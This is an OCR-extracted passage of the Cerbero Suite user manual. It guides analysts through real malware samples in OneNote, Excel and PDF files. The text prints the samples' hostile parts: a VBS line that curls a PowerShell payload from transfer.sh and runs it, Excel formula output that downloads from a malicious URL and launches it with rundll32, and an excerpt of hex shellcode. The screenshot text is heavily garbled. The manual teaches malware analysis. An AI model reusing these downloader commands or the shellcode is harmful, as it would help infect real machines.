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INTRODUCTION

Welcome to the User Manual for Cerbero Suite, the definitive toolkit that has redefined
the realm of cybersecurity since its inception in 2011. Designed as the ultimate ”Swiss
Army Knife” for cybersecurity professionals, Cerbero Suite merges a vast array of ad-
vanced tools into one seamless, integrated experience. Tailored specifically for low-level
experts, including malware and forensic analysts, this suite has established itself as a
cornerstone in the landscape of malware and forensic analysis. With capabilities ranging
from rapid triage to the meticulous dissection of suspect files, Cerbero Suite empowers
professionals to tackle the most daunting challenges in cybersecurity.

At the heart of the toolkit is its unparalleled ability to manage and analyze extensive
datasets effortlessly. A single project within Cerbero Suite can encompass millions of
files, making it an indispensable asset for conducting thorough malware investigations,
regardless of their scale. This comprehensive coverage ensures that every aspect of a
potential threat is scrutinized, offering users a platform that excels in both preliminary
assessments and in-depth examinations.

One of the suite’s most significant advantages is its flexibility. Cerbero Suite is designed
not just as a collection of tools but as a cohesive ecosystem that allows for an integrated
workflow. This integration means that transitioning to other specialized tools, such as
Ghidra or IDA Pro, becomes an option rather than a necessity. By centralizing a diverse
set of functionalities into a single platform, Cerbero Suite eliminates the need to navi-
gate between multiple disparate tools, streamlining the analysis process and significantly
reducing the margin for error.

This user manual is your gateway to mastering Cerbero Suite. It will guide you through
the intricacies of its comprehensive toolset, ensuring you can leverage its full potential to
enhance your cybersecurity analysis. Whether you are conducting a large-scale investi-
gation or targeting specific threats, this manual will equip you with the knowledge and
skills to navigate the complex landscape of malware and forensic analysis with confidence.

© 2025 Cerbero Labs 8



QUICK START

If you are not yet ready to dive into the intricacies of Cerbero Suite and simply wish to
see some practical examples to get started quickly, then this chapter is for you!

We provide a selection of real-world examples here that you can easily follow. You
can download all examples as a single Cerbero Suite project from this link (password:
infected).

Malware vectors frequently change, and some of the file types discussed in this chapter
may not reflect the latest trends. However, they will provide you with an overview of
how to use Cerbero Suite for file analysis.

At the end of this chapter, we hope to have caught your interest enough to encourage a
thorough exploration of the rest of this manual. Understanding the full scope of Cerbero
Suite’s capabilities will significantly enhance your ability to effectively use the software
in your cybersecurity and forensic efforts.

Before starting, ensure that you activate your license. This will allow you to install the
necessary packages from Cerbero Store.

You can open the project with the samples from the main window by initiating a single-
file scan, dragging and dropping it onto the main window, using the system context menu
if configured, or through the command line.

2.1 ONENOTE DOCUMENT ANALYSIS

We have selected a OneNote document to begin this quick start guide, as it provides an
easy introduction.

To follow along with this analysis, ensure that you have installed the OneNote Format

© 2025 Cerbero Labs 9


https://store.cerbero.io/static/samples/user_manual_samples.cpro
https://cerbero.io/packages/onenoteformat/

package.

[onenote_document] - Cerbero Suite 7.5 - olEd
File Navigation Actions Views Tools Help
B Ee - WE OO abe e anlw BN EE# of Bl snse - -
= Roots & x  Ooupmt o x
* File Risk Format
1 C:\user_manual_samples\onenote_document 100% ONENOTE
A Herarchy & % 4 Analysis [onenote_document] & x
e [OxHex | % Text | il Overview
ame} offset o 8 9 A B CDEF ~
“ [Eniehahoedodineii] 00000000 | E4 AE B1 53 78 DO 29 96 D3
4 W Executables 00000010 3 BO 88 81 41 AB BC 26 FC 4E
4 B object 2AAdexe 00000020 | 00 00 00 00 00 00 00 00 00
¢ Wi 00000040 3a 0 2 50 2a 0 0 0> 2n 00 30 90 2n 06 0¢ 00
# & ReData "CABINET" lang || 50000050 | 00 FF EF EF EF 00 00 00 00
< i scripts 0|11 00 00 00 00 00 00 00 00
new.vbs FF 00 00 00 00 00 00 00 00
« 0 Docurents o 53 50 90 00 00 04 00 00
i RCData "ADMQCMD" [l 00 68 09 00 00 00 04 00 00
* RCData "FINISHMSG" [la v 00 FF FF FF FF FF FF FF FF
< > 00 00 00 00 00 08 01 00 00
= — 00 01 7E B7 44 98 DE 36 6
— 9 00 00 00 00 8F C8 D2 56
Threats F1 50 61 F5 SE 00 00 00
@ signature Match: YARA 00 00 00 00 00 00 00 00 00
00 86 E3 93 38 86 E3 %8 3¢
Information 86 00 00 00 00 00 00 00 00
@ Metadata: Mediainfo 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 0000 00 00 00 00 00 00
18 Format o x 00 00 00 00 00 00 00 00 00
Fier 00 00 00 00 00 00 00 00 00
14 Header 0o 00 00 00 00 00 00 00 00
00000180 | 00 0000 00 00 00 00 00 00
H Properties 000001A0 | 00 Of 00 00 00 00 00 00 00 00
1 Files 00000180 | 00 00 00 00 00 00 00 00 00
0000010 | 00 00 00 00 00 00 00 00 00 o
BT here [focus vith CerlvALtr

The hierarchy view shows the OneNote document as root object along with various child
objects. We can better visualize these objects by focusing on the hierarchy view and
temporarily entering single view mode by pressing Ctrl+S. Press the shortcut again to
exit single view mode.

[onenote_document] - Cerbero Suite 7.5 - o IEd
File Navigation Actions Views Tools Help
W EE - WE DU dabw/edanw BN EE# ¢ llllismzse - -
 Werarchy o x
e
Name Risk Group. Format Size Relation -~
4 onenote document 100% Document ONENOTE 565.8 KBs Root
4 MM Executables
4 B object 2AAdexe 0% Executable  PE s47kBs  Child
4 W Archives
4§ RCData "CABINET" (lang:1033] 0% Archive  CAB 396.1KBs  Child
4 Scripts
newabs % Script  WSCRIPT__300Mgs _ Chid
+ i Documents
- RCData "ADMQCMD" flang:1033] 0% Document XML Toytes  Chid
* RCData "FINISHMSG" [lang:1033] 0% Document XML 7 bytes Child
' RCData "LICENSE" (lang:1023] 0% Document XML 7 bytes child
* RCData "POSTRUNPROGRAM" lang:1033] % Document XML Toytes  Chid
* RCData "UPROMPT" [lang:1033] 0% Document XML 7 bytes child
 RCData "USRQCMD" [lang:1033] 0% Document XML Tbytes  Child
» Configuration File 1 [lang:1033] 0% Document XML 1975KBs  Child
+ i Images
& Icon 1 [lang:1033] 0% Image DIBICO  1.602KBs  Child
& Icon 2 [lang:1033] 0% Image DIBICO  744bytes Child
& Icon 3 flang:1033] 0% Image DIBICO 488 bytes Child
&= Icon 4 [lang:1033] 0% Image DIBICO 296 bytes  Child
& Icon 5 [lang:1033] 0% Image DIBICO  3664KBs  Child
&= Icon 6 [lang:1033] 0% Image DIBICO 2164 KBs  Child
&= lcon 7 [lang:1033] 0% Image DIBICO  1695KBs  Child
= Icon 8 [lang:1033] 0% Image DIBICO  1.352KBs  Child
& Icon 9 [lang:1033] 0% Image PNG 5446KBs  Child
B Icon 10 (lang:1033] 0% Image DIBICO  9.414KBs  Child
&= Icon 11 [lang:1033] 0% Image DIBICO  4164KBs  Child
&= Icon 12 [lang:1033] 0% Image DIBICO  2383KBs  Child
& Icon 13 [lang:1033] 0% Image DIBICO  1.102KBs  Child
4 WM Images s
B here [focus with Corl+Alts

While we could inspect each object in the hierarchy view, for this sample analysis, we will
focus exclusively on the VBS script, which is the most deeply embedded object (OneNote
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Document — Portable Executable — Cabinet Archive — VBS Script).

[onenote_document] - Cerbero Suite 7.5

=] |

File Navigation Actions Views Tools Help

4 onenote document
4 Executables
4 object 2AAd.exe
4 Archives

4 i Scripts
& new.vbs

KB - WE DU dabw/es aw BN EE # ¢l sns
Roots

» File Risk Format

1 Ci\user_manual_samples\onenote_document 100% ONENOTE

4 Herarchy. & = C Analysi [new.vbs)

e [OxHex | “Text | ol overview

Name} 333 012 3 4 5 &7 8B 9 ABCDEF

4 ReData “CABINET" [lang

00000 3A 3A 3A 3A 3A 3A 3 3
00000010 3A 3 3A 34 34 34 3 32
00000020 3A 3n 3A 3 3A 3 3A 3
00000030 | 3A 3A 3A 3 3A 3A 3A 3B
00000040 3A 3A 3A 3 3A 3A 3A 3B
00000050 3A 3 3A 3A 34 32 3 32
00000060 3A 3n 3A 3 3A A 3A 3
00000070 | 3A 3A 3A 3A 3A 3A 3A 3B

32 3A 32 3B 3A 3B 3A 3B
30 3 3 31 38 30 3R 34
3A 3 3A 3 3A 3 3A
3 32 3A 3A 3A 3R 3A A
32 3A 32 3A 3A 3B 3R 3B
38 3a 3A 31 38 38 3R 38
3 3A 3 3A 3 3A A 3A
3A 3a 3A 3A 3A 3A 3R A

35 3A 32 3A 3A 3R 3R 3B
32 3A 32 3n 3A 38 3R 38
38 3A 32 3A 3A 3R A 3A
3A 3a 3A 3A 3A 3A 3R A
35 3a 32 3L 3A 3A 3R 3R
32 3A 37 3A 3A 38 3R 3B
3 3a 3A 3A 3A 0D OA 3
3B 3A 3B 3A 3A 3A 3R 3
35 3a 32 3L 38 3M 3R 3A
37 3A 37 3A 3A 3R 3R 3A
3 3A 3A 3A A 3R 3R A
32 3A 32 3A 3A 3A 3A 3B
3 3a 38 31 3 3L 3R 34
32 3A 32 3A 3 3R 3 34
3 3a 3A 3A 3A 3R 3A A
32 3A 32 3B 3A 3B 3R 3B
3 3a 3A 31 38 30 3R 34
3A 3 3A 3 3A 3R 3A
3 3a 3A 3A 3A 3A 3R A
00000150 3A 3A 3A 3A 3A 3A 3A 3B 3A 3A 3A 3A 3A 3A 3A 3
000001C0 3n 3K 3A 34 34 3 3A 31 3A 34 34 3n 3A 3 3A I

4 Documents
% RCData "ADMACMD" flan
* RCData “FINISHMSG" lan

L Summary o x

Intrinsic threats

& script Code
Information

@ Metadata: Mediainfo

13 Format 5 x
Fier

As indicated by the information in the hierarchy view, the VBS script has a decompressed

file size of 300 MB and contains numerous junk characters.

We can remove these junk characters by employing filters.

from the context menu of the hex view.

we select 'Filter...’

[onenote_document] - Cerbero Suite 7.5

File Navigation Actions Views Tools Help

4 4 Documents
* RCData "ADMQCMD" flan

<
Intrinsic threats
& script Code

Information
@ Wetadata: Medialnfo

Fier

* RCData "FINISHMSG" flan
>

L Summary -

+ i convert
7 from_array

dpadd | ¥ Remove & MoveUp | 4 Move Down

7 miscpreplace (out: in32)

HEE - WE OUdabwles awwx BN EE# ¢ Bl e
= Roots
- File Risk Format
1 Giluser_manual_samples\onenote_document 100%  ONENOTE
A Herarchy - 2 Analysis [new.vbs] a
e Fer
+ i misc &
7/ basic
7 copy
/ endianness
i Archives 7 insert
4 RCData *CABINET" flang e
4 scipts 7 reverse
& new.vbs

Prevew.

2 Format. B

offset | 0 L 2 3 4 5 6 7
3B 3R 3B 3A 3A 3A 3A 3
B 3 3L 31 3A 3M 3L 34 3
0 3 3A 3A 3A 3A 3R 3A 3

3 3A A 3A A 3R 3A %A
3 3R 3A 3A 3A 3A 3R 3
35 3 3A 31 3 34 3R 34
)| 2 3a 3 32 38 3 3A W
3 32 3A 3A 3A 3A 3A A
00000040 | 32 3a 32 3A 3 3A 3A 34

[

We use the 'misc/replace’ filter to remove the junk characters. We select bytes” mode,
enter the ’3A’ byte as input to be removed, and leave the output field empty.

After applying the filter by first clicking ’Add’ and then ’Preview,” we notice other junk
characters, specifically a sequence of '0D 0A’ (new lines). To avoid removing all new lines

© 2025 Cerbero Labs
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from the script, we target only the triple new lines ("0D 0A 0D 0A 0D 0A’) for removal.

5 = x
File Navigation Actions Views Tools Help
RER /b O GEE DU AP« e aox = BN EE # o Bl ick here to calc .12
=
» File Risk Format
1 Ci\user_manual_samples\onenote_document 100% ONENOTE
o m— e = :
Fer e
N B
i i misc
4 onenote document 7 basic
4 W Executables 7 copy
4 [ object 2AAd.exe 7 endianness
4 i Archives 7 insert
4 L) RCData "CABINET" [lan 7 replace
4 . Scripts 7 reverse
i 4 . convert
4 Documents J from ar:
array v
1 RCData "ADMQCMD" [la
% ReData “FINISHMSG" fa v | | #eAdd || 3 Remave | & tove up |4 Move Down|
< > 7 ¢, in3a)
7 misc/repl ¥
Intrinsic threats
& script Code | [ erevew |
offsst | 0 1 2 3 4 5 € 7 Al[offser | 0 1 2z 3 4 5 & 7] aseax -
00000000 3A 3 3A 3 3A 3a 3 3 041F3E38 | 00 00 00 00 00 00 00 00
00000008 | 3A 3 3A 3 3A 3 3a 3 041FSE40 | 00 00 00 00 00 00 00 00
00000010 3A 3A 3n 3A 3A 3 3A 3 041F9E46 | 00 00 00 00 00 00 00 00
00000018 3a 3 A 3 A 3 3 3 041F9E50 | 00 00 00 00 00 00 00 00
Fer 00000020 3A 3 3A 3 3A 3 3a 3 041FSESE | 00 00 00 00 00 00 00 00
00000026 | 3A 3 3A 3 3A 3 3a 3 041FSEG0 | 00 00 00 00 00 00 00 00
00000030 3A 3A 3A 3A 3A 3 3A 3 041F9EGE | 00 00 00 00 00 00 00 00
00000028 3a 3 A 3 A 3 3 3 041F9E70 | 00 00 00 00 00 00 00 00
00000080 3A 3 3A 3 3A 3 3 3 || osrese78 | 00 00 00 00 00 00 00 00 | 11111l .
Enter Python code here [focus with CErleAlir.]

After adding this second filter, there are still null junk
them by replacing '00” bytes.

characters present. We eliminate

File Navigation Actions Views Tools Help

WEE & 0 D e 0UEREK €9 oon w BN TN # & B8 snss - [cidherw calaiate the hash @
=
B File Rk Format
1 C:\user_manual_samples\onenote_document 100% 'ONENOTE
a Analysis [new.vbs] el Fiter... o
Moo
Name ~ "
D = misc
4 onenote document 7 basic
4 Executables 7 copy
“ M object 2AAd.exe 7 endianness
4 . Archives 7 insert
4 L} RCData "CABINET" [lang 7 replace offset -1
4 . scripts 7 reverse size 1
new.vbs 4 convert wim o =
4 i Documents
/ from_arra) v
% RCData "ADMQCMD" [lan il
& tove Up | % Move Down|

% RCData "FINISHMSG” flan v
>

El

Intrinsic threats

Enter sython code here

7 misc/replace (out; in
2_misc/replace (out:, in:00)

& Script Code | [ prevew

Indormation Offset | 0 1 2 3 4 5 6 7 N[ ofeset | 0 1 2z 3 4 5 6 7] asem -
© Vetadata Meciainfo 00000000 | 32 3A 3a 3 3A 3 3A 3 00000000 | 53 65 74 20 57 73 68 53 | Set.shs
00000006 | 3a 3 3a 3 3A 3R 3A 3 00000008 | 68 65 6C 6C 20 3D 20 57 | hell.=.w
00000010 | 3a 2 3a 31 A 38 A 3 | : 00000010 | 53 63 72 69 70 74 25 43 | scripr.c
18 Format e | 0000016 | 32 3A 38 3 3A 3 3A 3 00000018 | 72 65 61 74 65 4F 62 €A | reaceoh)
|2 00000020 | 32 3A 3a 3 3A 3 3A 3 00000020 | 65 63 74 26 22 57 53 63 | cct("RSc
00000026 | 3a 3A 3a 3 3A 3 3A 3 00000026 | 72 69 70 74 25 53 68 €5 | ript.she
00000030 | 3a 2 3a 2 2a 3 A 3 00000030 | 6 6C 22 29 0D O 60 79 | 11%)..my
00000036 | 32 3A 3A 3 3A 3 3A 3 00000038 | 56 61 72 20 3D 20 57 73 | Var.-.Ws

00000040 | 34 3 3A 3n 3A 3A A 3| : || 00000010 | 6 53 68 & 6c 6c 25 45 nshell.E .

[focus with Corl+hlts.]

We can now see the actual code of the script in the preview hex view. To convert it to
text, we select "To Text Browser View...” from the context menu.

Duplicate View

Ctrl+Shift+D

|E‘.j To Text Browser View

Ctrl+Shift+T |

[

/ Filter.. Ctrl+T
~|| Offset  IEr Add Root Object
00000000 TUTT T U T TS U IS o
00000008 | &8 65 6C 6C 20 3D 20 57 | hell.=.W
00000010 53 63 72 69 70 74 2E 43 | Script.cC
00000018 72 65 61 74 65 4F 62 6A  reateObj
00000020 &5 63 74 28 22 57 53 €3 | ect("Wsc
00000028 72 69 70 74 2E 53 68 65 | ript.she
00000030 | 6C 6C 22 29 0D OR 6D 79 | 11™) . .my
00000038 | 56 61 72 20 3D 20 57 73 | Var.=.Ws
. 00000040 &8 53 68 65 6C 6C 2E 45 | hShell.E

© 2025 Cerbero Labs
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This action displays the script in a text browser view. To further enhance the visualization
of the script, we can select the appropriate syntax highlighting from the context menu.

a Analysis [new.vbs] 7 Fier... Dart Text View
1 set wshshell = WScript.CreateObject ("WScript.shell") Go
2 myVar = WshShell ExpandEnvironmentStrings ("%APPDATAZ") Java
3 runCmd = "cmd.exe /c curl https//transfer.sh/get/MHXbtP/ss JavaByteCod myvar + "\rr.psl"
4 Wshshell.Run "cmd /¢ " & runcmd, 0, True avaByteCode
5 JavaScript
6 WScript.Sleep (3000
B FecEp REEDD) Select Al Ctrl+A JSON
8 Set Wshshell = WScript.Create Begin Selection... Julia
9 myVar = Wshshell.ExpandEnviro: . Kotlin
10 runcmd = "cmd.exe /c powershe] GO toline Ctrl+G Lua
11 wshshell.Run "cmd /¢ " & runCrm i +
b Find... Ctrl+F MachODyld
View G MsIL
Language > Objective-C
Encoding Perl
Open in Editor ~ Ctrl+Shift+E PHP
SavetoDisk  Ctrl+Alt+0 el
Python
R
Ruby
Rust
Scala
Shell
saL
Swift
TrueType
Typel
TypeScript
— VBA
trl+Alt+.

We can clearly see that the VBS script downloads a PowerShell script from a URL and
subsequently executes it.

1 WshShell = WScript.CreateCbhject ("v

2 myVar = WshShell. Expand]-?.nv1romnentstr1nq5(

3 runCmd = " c curl 'transfer.sh 55.ps1l ——output "™ + myVar + "\rr.psl"
4 WshShell.Run "cmd /c " & runC:md, 0,

5

6 WScript.Sleep(3000)

7

8 WshShell = WScript.CreateObject ("WS

9 myVar = WshShell.ExpandEnvironmentStrings (

10 runCmd = "cmd /c powershell.exe -exec rr.psl"
11 WshShell.Run " c " & runCmd, O,

By using the Tor Downloader package, we could anonymously download the payload and
continue the analysis.

2.2 EXCEL SPREADSHEET ANALYSIS

The sample we’ll be analyzing is a Microsoft Excel document containing malicious for-
mulas.

By accessing the analysis view’s "Spreadsheet’ hierarchy tab, we can view the contents of

© 2025 Cerbero Labs 13
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the Excel spreadsheet.

[excel_spreadsheet] - Cerbero Suite 7.5

File Navigation Actions Views Tools | Help

HEE - HE DU bkl e anw BV EE # o Bl suse - -
Roots s % oupe o x
» File Risk Format
1 Ciluser_manual_samples\excel_spreadsheet 100% crer
P— 8 x4 Anayss [exceL spreadsheet] o
Fier. Oxtex | Text | Ii Overviw [ Spreadsheet
Hes 8 A AD 3 A

 excel spreadsheet -

2

s Spreadsheet Formulas

< >
2 summary 5 x

T 14 TRUE TRUE
© signature Match: YARA i

privacy
L Metadata 15 ;
L Metadata - 5

Warnings

[DocuSon] (worksheet)  [Doct] (macrosheer) | [Doc2] (maciosheet)
Defed names _Formuas

11 Format. 8 x
Fier.

Auto_Open ‘DoctISADS13

1 Directories
4 Root Entry
1 Workbook
H \ssummaryinformation

14 Header ~

Name Formula

nter Python code here [focus wit

The ’Auto_Open’ name indicates the entry point for formula execution, allowing us to
directly jump to it and follow the spreadsheet’s flow.

Alternatively, we can select the ’Formulas’ tab and sequentially emulate each formula of
interest, either through the context menu or by pressing Ctrl+E.

DEE

[excel_spreadsheet] - Cerbero Suite 7.5

File Navigation Actions Views Tools Help

WEE [ RE U dRb e esfon x| BN EE # ¢ Bl Fam - FBEPABDED]  +
| 4 Analysis [excel spreadsheet] x| [Erenme & x
Oxtics | B 1ot | Il overvin F100: "hteps://vestelbd. con/ds/1802.qi£"
FORMULA: ADIS = mrumdliis @
" a0 A | e o
" FoRMULA: 2E1S - *,Dl1R"
roie
FORMULA AELS = 7, D11R"
@ heie
heis: n ol
Reie: mhountoadto
heae: registerserver
B AG25: e"
Varning: uninplemented function 'CALL'
Tonie Toie e arg_0: "URLMon"
< >

[DocuSign] (worksheet)  [Doct] (macrosheet) | [Doc2] (macrosheet)

0
"hteps://vestelbd. con/ds/1802.git"
"L \idefie.sxsar

Defned names | Formuas.
Excude functions ax

RUN/GOTO [¥] CHAR [¥] CONCAT RG26:
RELT: megisterserver”

Index Formula
‘Doct'AG26
‘DoctAH16
“DoctAHI7
‘Doct''AK22
‘DoctAK23
‘Doct'AK28 EXEC(DOC'1AD158/Doc1AQ308 DocT IAET58AG24)
‘Doct''AK29
‘Doct'A05 C11AK28).

Doc21ACT2 PLACE(DocTAP35,7,7, nloadTo")

‘Doc21ACT3 PLACE(DocT1AP39,77,")

‘Doc21ACTA PLACE(internal; deleted sheet!AB7&internal; deleted sheet!ABB&internal; deleted shest'!AB9Binternal; deleter

7| warning: unimplemented function 'EXEC'
rg_0: "rundll32 ..\idefje.ekfd,DllRegisterserver®
nxza: v

‘Doc2'ACTS CTIAHIE)
<

Enter python code hers [fo

By examining the resulting output in the output view, we can understand the actions

© 2025 Cerbero Labs
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the malware intends to perform.

R100: "https://vestelbd.com/ds/1802.gif"

FCRMULAZ: AD15 = "rundll32 "
ED14: ™"

FORMULA: ARE1S = ",D11R"
ADlg: ™"

FCEMULZ: ZE15 = ",DIIR"
AE14: mn

AE15: ",D11R"
REl&: "DownloadTo"
LG24: "egisterServer"
LG25: "File"™
warning: unimplemented function 'CALL'
arg_0: "URILMon™
arg 1: "URLDownloadToFilea"
arg_2: "JJCCBB"
arg_3: 0
arg_4: "https://vestelbd.com/ds/1802.gif"
arg_5: "..\idefje.ekfd"
arg 6: 0
LG26:
BLH17: "egisterServer"

warning: unimplemented function 'EXEC'

arg 0: "rundll32 ..\idefje.ekfd,DllRegisterServer"
BE28: "

Sometimes, analyzing a file can be simple, even if it utilizes technology you may not be
familiar with.

Clearly, not all malicious Excel documents are this simple to analyze; some contain self-
decrypting formulas that complicate the process.

2.3 PDF DOCUMENT ANALYSIS

The previous two samples offered a basic introduction to help you get started. This
next sample will be more challenging and will help you gain greater confidence in using
Cerbero Suite.

To follow along with this analysis, ensure that you have installed the JavaScript Beautifier
package. Additionally, if you hold a personal license, install the ShellcodeToExecutable

© 2025 Cerbero Labs 15
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package; if you have a commercial license, install the Silicon Shellcode Emulator package.

File Navigation Actions Views Tools Help

[pdf_document] - Cerbero Suite 7.5

© Interactive Form
€ The format of the il s incorrect
© The format of the fil s incorrect
€ The format of the il s incorrect
© Unreferenced Data
© Unreferenced Data

Information
@ Metadata: Mediainfo

B 2 WE OU#Rbw e anw BN EE # ¢ Bl swse - °
L Roots & x  Ouput o x
] File o Format
1 C:\user_manual_samples)\pdf_document 100% PDF
A Herarchy & % Analysis [pdf_document] & x
e [OxHex | % Text | il Overview
ome REEK rou offset 01 2 3 45 6 17 8 9 A B CDEF ASCIT ~
“ [Enipdfidocinéng (1002 2o 25 50 44 46 2D 31 2E 36 OA 25 B2 E3 CF D3 0D OA %FDF-1.6.%...... <-Format Data - Foreign Data
4 4 Documents 31 20 30 20 6F 62 €A 0D <-Unknown/Unref Data
* [8.0 obj] 70% Docur €8 64 6F 62 6A 0D OA 35 j.. <-Unknown/Unref Data - Foreign Data
5¢ 3¢ 27 43 68 75 68 7 onimoum/Umeet Data
35 35 31 20 30 20 53 20
5475 70 65 28 50 61 €1
- - 64 6F 62 6A 0D OA 38 20 <-Unknown/Unref Data - Foreign Data
Da— — 7672 65 61 60 o0 oA 65 <omknoun/omeet pate :
oD 0n &3 68 o4 oF 63 e onknen/tnzet Data - Foreign Data
Threats )>>. <-Unknown/Unref Data

1 Format. o x 2F 63 6F 6B 66 69 67 35 3C 74 65 6D 70 6C 61 14 /config><templat
Fer 6520 78 6D 6C 6E 73 3D 27 €3 74 74 70 3A 2F 2F | e.xmlns='http://

Hiowmeh = 7777 77 28 76 26 23 31 30 32 38 61 2B 6F 72 67  waw.xe#1027a.009

! 2F 73 63 68 65 6D 61 2F 78 €6 61 20 74 65 6D 70 /schema/xfa-temp

H 50 (unref) 6C 6174 65 2F 32 28 35 2F 27 38 3C 73 75 62 66 late/2.5/'><subf

H 80 (unref) 6F 72 6D 20 65 61 60 65 3D 22 26 23 33 37 38 31 orm.name="s49T;1

5 82 (unref) 22 20 71 77 65 30 22 31 32 33 22 38 3C 70 61 67  ".que="123"><pag v

15 180 unref) v

Enter pyeh de here [focus with Ctrl+Alt+

From the hierarchy view, we can see that the

A Hierarchy
Fiter...

PDF contains an XDP document.

Name Risk Group

Format Size

Relation

a | ~ pdf_doc t 100% Doc

t PDF

21.51 KBs Root

4 44 Documents
- [8.0 obj] 70%

Document XDP

20.81 KBs

Child

XDP documents can contain other PDF documents and JavaScript code.

In this case, the XDP document indeed contains JavaScript.

File Navigation Actions Views Tools Help

[pdf_document] - Cerbero Suite 7.5

o x oupr

4 4 Documents

“ 8.0 0bj]

17 </h:script>
1

L Surmary s

© Javascript Code

11 Format. 8 x
Fier.

W ER - WE legnbe e aww BN EE # o Bl sws -
e Roots.

* File Risk Format

1 C\user_manual_samples\pdf_document 100% PDF

% Herarchy. & % Analysis [JavaScrpt Code]

e = contentiyp =

ame o1z raaiie. oL

If we examine the JavaScript code, we can see it uses a value (qwel23b) that is not

present within the code itself.

© 2025 Cerbero Labs
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https://cerbero.io/packages/siliconshellcodeemulator/

The value comes from the XDP document, which has

[pdf_document] - Cerbero Suite 7.5

an XML format.

File Navigation Actions Views Tools Help

HEE - HE DU s abkl e anw BN EE # o Bl suse - -
= Roots 5 x| oupu 8 x
» File Risk Format
1 C:\user_manual_samples\pdf_document 100% PDF
“ Herarchy 8 x C mnayss [[8.0 b)) s x
Fiter Oxtex | Text | il ovenview || prevew
Name Risk — =
4 pdf_document 100% fa-data/1 >
“ 4 Documents
5
8.0 0bj) 0% 53 < % 8333-17833 %
. -13388-21488- 28481 sua-133 THAE-LINNE-118e-12088-2188
38532 Gras-lorei-13ani-2
< > m»z sl 3 s1-17388
= 13330%85-2185%-33853- 2133317333 11333-25%%
L2 summary 8 x| piiieiees T .
Threats 1 45331 3833-12888 I3
© sovascript Code 55-2383813885-11483-1 451
Information

2338138881

@ Vetadata: Medialnio

T2 LML 1201280 TSI IO LSR S LIV LAY
5 = 1

633333551232%03312553- 14

1

=

1osss— "
45531285411 iieneiian
4848105480841 245149811 10U N1 SIS 284S 1R SRR SIO4S I8 SRR A d0ksosIossL Izt
Classslisssoss 13333-123% 1 12338
10828138881 2 72l 128881 i
@ Format o x| ®19% -19%% 11735 3333 5310855 113%%053510%33 1153512555 14%%
2103331 233103331 2455-143310%H4- 12555 6558- 14313 12448- 1938563380333 1138%- 12855 T

103
10885-23858 1458810858 118% 1085414883 10888 13858 11508 10548104441 383403

SRR v
143s

-10%ET11550555 2355305351093 10993145%5-1153%1 14231 0%%%-10%%%— % 11%%%
£312103448844124881 3448 124448881343 103481 omwmmmm 2582 103851
13555-123571335705 5510575 1093310755 11355 45-108349833-1 1133510833115 v

here [focus with CtrlsAlts

We create a new text view (Views — Open New Text View) and paste the value of the

qwel23b node inside a string variable:

qwel23b = "[NODE\_VALUE\_HERE]";

We then append the JavaScript code with a slight modification. We change:

(app)ar=qwel23b.rawValue.split (*%%%’);

To:

ar=qwel23b.split (" %%%’);

Once done, you should see something similar to the screenshot below.

[pdf_document] - Cerbero Suite 7.5

File Navigation Actions Views Tools Help

DEEN

4 pdfdocument  100%  Docw
4 1 Documents

~ [8.0 obj] 70% Docur
< >
L Summary 5 x
Threats
© Javascript Code
Information

2
@ Metadata: Medialnfo 3 ar-que123b.split (‘442 |
s

S'<+T)*/DIREW

4 Format. 8 x
Fier.

Snter ython code her

KB - HE DU &b« e aonwx BN EE# ¢ Bl swse - 9
L Roots 5% own o
# File Risk Format

1 Cluser_manual_samples\pdf_document 100%  POF

A Herarchy eox Analyss [Javascipt Code] Edtor a

rer

Name Risk Grou

?:LBKQYEUGEM"} .q;

Now that we have made the JavaScript code self-contained and independent from the
XDP document, we can use the JavaScript debugger to help us understand what it does.

© 2025 Cerbero Labs
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To start the JavaScript debugger, execute the appropriate
selecting it from the ’Actions’ menu.

action by pressing Ctrl+R or

Execute Action... - Cerbero Suite 7.5

Installed Edicor
["] Show disabled actions

Fiker....

Configure

Base64 to Bytes

Hex String to Bytes

Text to Bytes
Emulate

Emulate Batch Script
JavaScript

Beautify JavaScript

Debug JavaScript

Execute JavaScript
Open New JavaScript Editor
JSON
Indent
Online
Download Chrome Extension
Download Malware Sample by Hash
Download Multiple Malware Samples by Hash
HybridAnalysis Search
MalwareBazaar Search

Cancel

The JavaScript debugger is particularly useful for deobfuscating scripts that use the
‘eval’ function to execute concealed code. The debugger allows you to control how ’eval’
invocations are handled: if the combo box is set to ’Ask’, the debugger will prompt you
with a dialog showing the expression to be evaluated, giving you the option to proceed

or not.

¥

JavaScript Debugger

— O R

Debug Search View

Loaded Scrpts & %

<anonymous ...

D> m M P ooT ol B @ Exeareevals Ak -

~ | Locas

Breakpoints 8 x
b x

D Location

< >

Neme Vale

Stack

79%9%%1: 7%

Level Name

0 <anonym..

Locaton

<native>:1

1969%-17%%

799%0%-1

915%9%4%-1

qgsdb>
Error Log | Debug Output | Console

We allow the debugger to execute the

© 2025 Cerbero Labs
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displaying the contents of an ’eval’ invocation.

You can change the code executed by the eval cal. Press Cancel to return undefined.

1 War padding;vzr bbb, ccc, ddd, eee, £ff, ggg, hhh;var »

pointers a, i;var x = new Brray();ver y = new
Brray();var
_11="4c20600£0517680423c20600£0£63804aa3eb804a3020824a
6e2f8042414141412600000000000000000000000000000012398
0426420600£0004000041414141414141416683e4fcfcB5247534
e95f33c0648b40308b400cBb701c568b760833db668b5e3c03743
32cBleel510ff£fbBBbA030c346390675fb87342485e47551e%eb
4c515668b753cB8b74357803£5568b762003£533¢c94941fcad03c53
3db0£fbel038£27408clcb0d03dad40ebfl3blf75e65e8b5e2403dd
6668b0c4bBd46ecff54240c8bdB03ddBb048b03c5ab5e59¢c3eb53a
dBb6820807d0c33740396ebf38b6B0BBbE76a0559eB98ffffffe2
£9e80000000058506a4068££0000005083c01950558becBb5e108
3c305£fe3686£f6e00006875726c6d54££1683c4088beBeBElEEET
ffeb02eb7281ec040100008d5c240cc7042472656773c74424047
6723332c7442408202d73205368£8000000££560cB8beB33c951c7
441d0077706274c7441d052e646c6cc6441d0900598ac10430884
41d0441516a006a0053576a00££561485¢c075166a0053££56046a
0083eb0c53££560483c30ceb02eb1347803£0075£247803£0075¢
46a006afeff5608e89cfeffffBedeleectifeBaledd6£01bd33ca
8a5blbc64679361a2f70687474703a2£2£313239223132312e323
3312e3136382f646174612f486£6d652£772e7068703£663d3136
26653d340000" ;var
_12="4c20600fa56380423c20600£96216804a901£680423090844a
7d7e804a4141414126000000000000000000000000000000716888

Bxeate || Cancel

We copy the text to a new text view.

File Navigation Actions Views Tools Help

